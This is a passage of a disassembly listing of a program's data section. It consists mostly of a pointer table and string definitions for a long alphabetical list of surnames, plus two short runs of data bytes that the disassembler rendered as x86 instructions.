dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
; ---------------------------------------------------------------------------
add al, 0DAh
inc ebx
add [eax], dl
fiadd dword ptr [ebx+0]
sbb al, 0DAh
inc ebx
add [eax], ch
fiadd dword ptr [ebx+0]
xor al, 0DAh
inc ebx
add [edx+ebx*8], bh
inc ebx
add [edx+ebx*8+43h], al
add [edx+ebx*8+43h], cl
add [edx+ebx*8+43h], dl
add [eax-26h], ah
inc ebx
add [eax-26h], ch
inc ebx
add [eax-26h], dh
inc ebx
add [eax-26h], bh
inc ebx
add [eax-77FFBC26h], al
fiadd dword ptr [ebx+0]
loc_43B148: ; CODE XREF: ___:0043B16Cj
nop
fiadd dword ptr [ebx+0]
pushf
fiadd dword ptr [ebx+0]
movsb
fiadd dword ptr [ebx+0]
lodsb
fiadd dword ptr [ebx+0]
mov eax, 0C00043DAh
fiadd dword ptr [ebx+0]
enter 43DAh, 0
rcr dl, 1
inc ebx
add al, bl
fiadd dword ptr [ebx+0]
loopne loc_43B148
inc ebx
add al, ch
fiadd dword ptr [ebx+0]
; ---------------------------------------------------------------------------
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
; ---------------------------------------------------------------------------
pushf
loc_43B1C1: ; CODE XREF: ___:0043B1E4j
fild dword ptr [ebx+0]
movsb
fild dword ptr [ebx+0]
lodsb
fild dword ptr [ebx+0]
mov ah, 0DBh
inc ebx
add [ebx+ebx*8-243BFFBDh], bh
inc ebx
add ah, cl
fild dword ptr [ebx+0]
rcr bl, 1
inc ebx
add ah, bl
fild dword ptr [ebx+0]
loopne loc_43B1C1
inc ebx
add al, ch
fild dword ptr [ebx+0]
; ---------------------------------------------------------------------------
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_439FD0o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: ___:00439FD4o
align 4
aAdams db 'Adams',0 ; DATA XREF: ___:00439FD8o
align 4
aAddison db 'Addison',0 ; DATA XREF: ___:off_439FDCo
aAdelstein db 'Adelstein',0 ; DATA XREF: ___:00439FE0o
align 10h
aAdibe db 'Adibe',0 ; DATA XREF: ___:00439FE4o
align 4
aAdorno db 'Adorno',0 ; DATA XREF: ___:00439FE8o
align 10h
aAhlers db 'Ahlers',0 ; DATA XREF: ___:00439FECo
align 4
aAlavi db 'Alavi',0 ; DATA XREF: ___:00439FF0o
align 10h
aAlcorn db 'Alcorn',0 ; DATA XREF: ___:00439FF4o
align 4
aAlda db 'Alda',0 ; DATA XREF: ___:00439FF8o
align 10h
aAleks db 'Aleks',0 ; DATA XREF: ___:00439FFCo
align 4
aAllison db 'Allison',0 ; DATA XREF: ___:0043A000o
aAlongi db 'Alongi',0 ; DATA XREF: ___:0043A004o
align 4
aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0043A008o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0043A00Co
aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0043A010o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: ___:0043A014o
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0043A018o
align 10h
aAmeer db 'Ameer',0 ; DATA XREF: ___:0043A01Co
align 4
aAmsden db 'Amsden',0 ; DATA XREF: ___:0043A020o
align 10h
aAnand db 'Anand',0 ; DATA XREF: ___:0043A024o
align 4
aAndel db 'Andel',0 ; DATA XREF: ___:0043A028o
align 10h
aAndo db 'Ando',0 ; DATA XREF: ___:0043A02Co
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0043A030o
align 4
aAndron db 'Andron',0 ; DATA XREF: ___:0043A034o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0043A038o
align 4
aAnsley db 'Ansley',0 ; DATA XREF: ___:0043A03Co
align 10h
aAnthony db 'Anthony',0 ; DATA XREF: ___:0043A040o
aAntos db 'Antos',0 ; DATA XREF: ___:0043A044o
align 10h
aArbia db 'Arbia',0 ; DATA XREF: ___:0043A048o
align 4
aArduini db 'Arduini',0 ; DATA XREF: ___:0043A04Co
aArellano db 'Arellano',0 ; DATA XREF: ___:0043A050o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: ___:0043A054o
align 4
aArjas db 'Arjas',0 ; DATA XREF: ___:0043A058o
align 10h
aArky db 'Arky',0 ; DATA XREF: ___:0043A05Co
align 4
aAtkins db 'Atkins',0 ; DATA XREF: ___:0043A060o
align 10h
aAugustus db 'Augustus',0 ; DATA XREF: ___:0043A064o
align 4
aAurelius db 'Aurelius',0 ; DATA XREF: ___:0043A068o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0043A06Co
aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0043A070o
align 4
aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0043A074o
aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0043A078o
aAyling db 'Ayling',0 ; DATA XREF: ___:0043A07Co
align 4
aAzima db 'Azima',0 ; DATA XREF: ___:0043A080o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0043A084o
align 4
aBackus db 'Backus',0 ; DATA XREF: ___:0043A088o
align 10h
aBady db 'Bady',0 ; DATA XREF: ___:0043A08Co
align 4
aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0043A090o
aBagnold db 'Bagnold',0 ; DATA XREF: ___:0043A094o
aBailar db 'Bailar',0 ; DATA XREF: ___:0043A098o
align 10h
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0043A09Co
align 4
aBaleja db 'Baleja',0 ; DATA XREF: ___:0043A0A0o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: ___:0043A0A4o
align 10h
aBallew db 'Ballew',0 ; DATA XREF: ___:0043A0A8o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: ___:0043A0ACo
align 10h
aBanta db 'Banta',0 ; DATA XREF: ___:0043A0B0o
align 4
aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0043A0B4o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: ___:0043A0B8o
aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0043A0BCo
align 4
aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0043A0C0o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: ___:0043A0C4o
aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0043A0C8o
align 4
aBarneson db 'Barneson',0 ; DATA XREF: ___:0043A0CCo
align 4
aBarnett db 'Barnett',0 ; DATA XREF: ___:0043A0D0o
aBarriola db 'Barriola',0 ; DATA XREF: ___:0043A0D4o
align 4
aBarry db 'Barry',0 ; DATA XREF: ___:0043A0D8o
align 10h
aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0043A0DCo
aBartolome db 'Bartolome',0 ; DATA XREF: ___:0043A0E0o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: ___:0043A0E4o
align 10h
aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0043A0E8o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: ___:0043A0ECo
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0043A0F0o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0043A0F4o
align 10h
aBayles db 'Bayles',0 ; DATA XREF: ___:0043A0F8o
align 4
aBayo db 'Bayo',0 ; DATA XREF: ___:0043A0FCo
align 10h
aBeacon db 'Beacon',0 ; DATA XREF: ___:0043A100o
align 4
aBeal db 'Beal',0 ; DATA XREF: ___:0043A104o
align 10h
aBean db 'Bean',0 ; DATA XREF: ___:0043A108o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: ___:0043A10Co
aBeder db 'Beder',0 ; DATA XREF: ___:0043A110o
align 4
aBedford db 'Bedford',0
aBehenna db 'Behenna',0
aBelanger db 'Belanger',0
align 4
aBelaoussof db 'Belaoussof',0
align 10h
aBelfer db 'Belfer',0
align 4
aBelinCollart db 'Belin-Collart',0
align 4
aBellavance db 'Bellavance',0
align 4
aBellhouse db 'Bellhouse',0
align 10h
aBellini db 'Bellini',0
aBelloc db 'Belloc',0
align 10h
aBenedictDye db 'Benedict-Dye',0
align 10h
aBergson db 'Bergson',0
aBerkeJenkins db 'Berke-Jenkins',0
align 4
aBernardo db 'Bernardo',0
align 4
aBernassola db 'Bernassola',0
align 10h
aBernston db 'Bernston',0
align 4
aBerrizbeitia db 'Berrizbeitia',0
align 4
aBetti db 'Betti',0
align 4
aBeynart db 'Beynart',0
aBiagioli db 'Biagioli',0
align 4
aBickel db 'Bickel',0
align 10h
aBinion db 'Binion',0
align 4
aBir db 'Bir',0
aBisema db 'Bisema',0
align 4
aBisho db 'Bisho',0
align 4
aBlackbourn db 'Blackbourn',0
align 4
aBlackwell db 'Blackwell',0
align 4
aBlagg db 'Blagg',0
align 4
aBlakemore db 'Blakemore',0
align 4
aBlanke db 'Blanke',0
align 10h
aBliss db 'Bliss',0
align 4
aBlizard db 'Blizard',0
aBloch db 'Bloch',0
align 4
aBloembergen db 'Bloembergen',0
aBloemhof db 'Bloemhof',0
align 10h
aBloxham db 'Bloxham',0
aBlyth db 'Blyth',0
align 10h
aBolger db 'Bolger',0
align 4
aBolick db 'Bolick',0
align 10h
aBollinger db 'Bollinger',0
align 4
aBologna db 'Bologna',0
aBoner db 'Boner',0
align 4
aBonham db 'Bonham',0
align 4
aBoniface db 'Boniface',0
align 10h
aBontempo db 'Bontempo',0
align 4
aBook db 'Book',0
align 4
aBookbinder db 'Bookbinder',0
align 10h
aBoone db 'Boone',0
align 4
aBoorstin db 'Boorstin',0
align 4
aBorack db 'Borack',0
align 4
aBorden db 'Borden',0
align 4
aBossi db 'Bossi',0
align 4
aBothman db 'Bothman',0
aBotosh db 'Botosh',0
align 4
aBoudin db 'Boudin',0
align 4
aBoudrot db 'Boudrot',0
aBourneuf db 'Bourneuf',0
align 4
aBowers db 'Bowers',0
align 10h
aBoxer db 'Boxer',0
align 4
aBoyajian db 'Boyajian',0
align 4
aBoyes db 'Boyes',0
align 4
aBoyland db 'Boyland',0
aBoym db 'Boym',0
align 4
aBoyne db 'Boyne',0
align 4
aBracalente db 'Bracalente',0
align 10h
aBradac db 'Bradac',0
align 4
aBradach db 'Bradach',0
aBrecht db 'Brecht',0
align 4
aBreed db 'Breed',0
align 10h
aBrenan db 'Brenan',0
align 4
aBrennan db 'Brennan',0
aBrewer db 'Brewer',0
align 4
aBrewer_0 db 'Brewer',0
align 10h
aBridgeman db 'Bridgeman',0
align 4
aBridges db 'Bridges',0
aBrinton db 'Brinton',0
aBritz db 'Britz',0
align 4
aBroca db 'Broca',0
align 4
aBrook db 'Brook',0
align 4
aBrzycki db 'Brzycki',0
aBuchan db 'Buchan',0
align 4
aBudding db 'Budding',0
aBullard db 'Bullard',0
aBunton db 'Bunton',0
align 4
aBurden db 'Burden',0
align 4
aBurdzy db 'Burdzy',0
align 4
aBurke db 'Burke',0
align 4
aBurridge db 'Burridge',0
align 10h
aBusetta db 'Busetta',0
aByatt db 'Byatt',0
align 10h
aByerly db 'Byerly',0
align 4
aByrd db 'Byrd',0
align 10h
aCage db 'Cage',0
align 4
aCalnan db 'Calnan',0
align 10h
aCammelli db 'Cammelli',0
align 4
aCammilleri db 'Cammilleri',0
align 4
aCanley db 'Canley',0
align 10h
aCapanni db 'Capanni',0
aCaperton db 'Caperton',0
align 4
aCapocaccia db 'Capocaccia',0
align 10h
aCapodilupo db 'Capodilupo',0
align 4
aCappuccio db 'Cappuccio',0
align 4
aCapursi db 'Capursi',0
aCaratozzolo db 'Caratozzolo',0
aCarayannopoulo db 'Carayannopoulos',0
aCarlin db 'Carlin',0
align 4
aCarlos db 'Carlos',0
align 4
aCarlyle db 'Carlyle',0
aCarmichael db 'Carmichael',0
align 10h
aCaroti db 'Caroti',0
align 4
aCarper db 'Carper',0
align 10h
aCartmill db 'Cartmill',0
align 4
aCascio db 'Cascio',0
align 4
aCase db 'Case',0
align 4
aCaspar db 'Caspar',0
align 4
aCastelda db 'Castelda',0
align 10h
aCavanagh db 'Cavanagh',0
align 4
aCavell db 'Cavell',0
align 4
aCeniceros db 'Ceniceros',0
align 10h
aCerioli db 'Cerioli',0
aChapman db 'Chapman',0
aCharles db 'Charles',0
aCheang db 'Cheang',0
align 10h
aCherry db 'Cherry',0
align 4
aChervinsky db 'Chervinsky',0
align 4
aChiassino db 'Chiassino',0
align 10h
aChien db 'Chien',0
align 4
aChildress db 'Childress',0
align 4
aChilds db 'Childs',0
align 4
aChinipardaz db 'Chinipardaz',0
aChinman db 'Chinman',0
aChristenson db 'Christenson',0
aChristian db 'Christian',0
align 4
aChristiano db 'Christiano',0
align 4
aChristie db 'Christie',0
align 10h
aChristopher db 'Christopher',0
aChu db 'Chu',0
aChupasko db 'Chupasko',0
align 4
aChurch db 'Church',0
align 4
aCiampaglia db 'Ciampaglia',0
align 10h
aCicero db 'Cicero',0
align 4
aCifarelli db 'Cifarelli',0
align 4
aClaffey db 'Claffey',0
aClancy db 'Clancy',0
align 4
aClark db 'Clark',0
align 4
aClement db 'Clement',0
aClifton db 'Clifton',0
aClow db 'Clow',0
align 4
aCoblenz db 'Coblenz',0
aCoito db 'Coito',0
align 4
aColdren db 'Coldren',0
aColella db 'Colella',0
aCollard db 'Collard',0
aCollis db 'Collis',0
align 4
aCompton db 'Compton',0
aCompton_0 db 'Compton',0
aComstock db 'Comstock',0
align 10h
aConcino db 'Concino',0
aCondodina db 'Condodina',0
align 4
aConnors db 'Connors',0
aCorey db 'Corey',0
align 4
aCornish db 'Cornish',0
aCosmides db 'Cosmides',0
align 4
aCounter db 'Counter',0
aCoutaux db 'Coutaux',0
aCrawford db 'Crawford',0
align 4
aCrocker db 'Crocker',0
aCroshaw db 'Croshaw',0
aCroxen db 'Croxen',0
align 4
aCroxton db 'Croxton',0
aCui db 'Cui',0
aCurrier db 'Currier',0
aCutler db 'Cutler',0
align 4
aCvek db 'Cvek',0
align 10h
aCyders db 'Cyders',0
align 4
aDasilva db 'daSilva',0
aDaldalian db 'Daldalian',0
align 4
aDaly db 'Daly',0
align 4
aDAmbra db 'D',27h,'Ambra',0
aDanieli db 'Danieli',0
aDante db 'Dante',0
align 4
aDapice db 'Dapice',0
align 4
aDArcangelo db 'D',27h,'arcangelo',0
aDas db 'Das',0
aDasgupta db 'Dasgupta',0
align 10h
aDaskalu db 'Daskalu',0
aDavid db 'David',0
align 10h
aDawkins db 'Dawkins',0
aDegennaro db 'DeGennaro',0
align 4
aDelapena db 'DeLaPena',0
align 10h
aDelEnclos db 'del',27h,'Enclos',0
align 4
aDerousse db 'deRousse',0
align 4
aDebroff db 'Debroff',0
aDees db 'Dees',0
align 4
aDefeciani db 'Defeciani',0
align 4
aDelattre db 'Delattre',0
align 10h
aDeleonRendon db 'Deleon-Rendon',0
align 10h
aDelger db 'Delger',0
align 4
aDellAcqua db 'Dell',27h,'acqua',0
align 4
aDeming db 'Deming',0
align 4
aDempster db 'Dempster',0
align 4
aDemusz db 'Demusz',0
align 10h
aDenault db 'Denault',0
aDenham db 'Denham',0
align 10h
aDenison db 'Denison',0
aDesombre db 'Desombre',0
align 4
aDeutsch db 'Deutsch',0
aDFini db 'D',27h,'fini',0
align 4
aDicks db 'Dicks',0
align 4
aDiefenbach db 'Diefenbach',0
align 4
aDifabio db 'Difabio',0
aDifronzo db 'Difronzo',0
align 4
aDilworth db 'Dilworth',0
align 4
aDionysius db 'Dionysius',0
align 4
aDirksen db 'Dirksen',0
aDockery db 'Dockery',0
aDoherty db 'Doherty',0
aDonahue db 'Donahue',0
aDonner db 'Donner',0
align 4
aDoonan db 'Doonan',0
align 4
aDore db 'Dore',0
align 4
aDorf db 'Dorf',0
align 4
aDosi db 'Dosi',0
align 4
aDoty db 'Doty',0
align 4
aDoug db 'Doug',0
align 4
aDowsland db 'Dowsland',0
align 4
aDrinker db 'Drinker',0
aDSouza db 'D',27h,'souza',0
aDuffin db 'Duffin',0
align 10h
aDurrett db 'Durrett',0
aDussault db 'Dussault',0
align 4
aDwyer db 'Dwyer',0
align 4
aEardley db 'Eardley',0
aEbeling db 'Ebeling',0
aEckel db 'Eckel',0
align 4
aEdley db 'Edley',0
align 4
aEdner db 'Edner',0
align 4
aEdward db 'Edward',0
align 4
aEickenhorst db 'Eickenhorst',0
aEliasson db 'Eliasson',0
align 4
aElmendorf db 'Elmendorf',0
align 10h
aElmerick db 'Elmerick',0
align 4
aElvis db 'Elvis',0
align 4
aEncinas db 'Encinas',0
aEnyeart db 'Enyeart',0
aEppling db 'Eppling',0
aErbach db 'Erbach',0
align 4
aErdman db 'Erdman',0
align 4
aErdos db 'Erdos',0
align 4
aErez db 'Erez',0
align 4
aEspinoza db 'Espinoza',0
align 4
aEstes db 'Estes',0
align 10h
aEtter db 'Etter',0
align 4
aEuripides db 'Euripides',0
align 4
aEverett db 'Everett',0
aFabbris db 'Fabbris',0
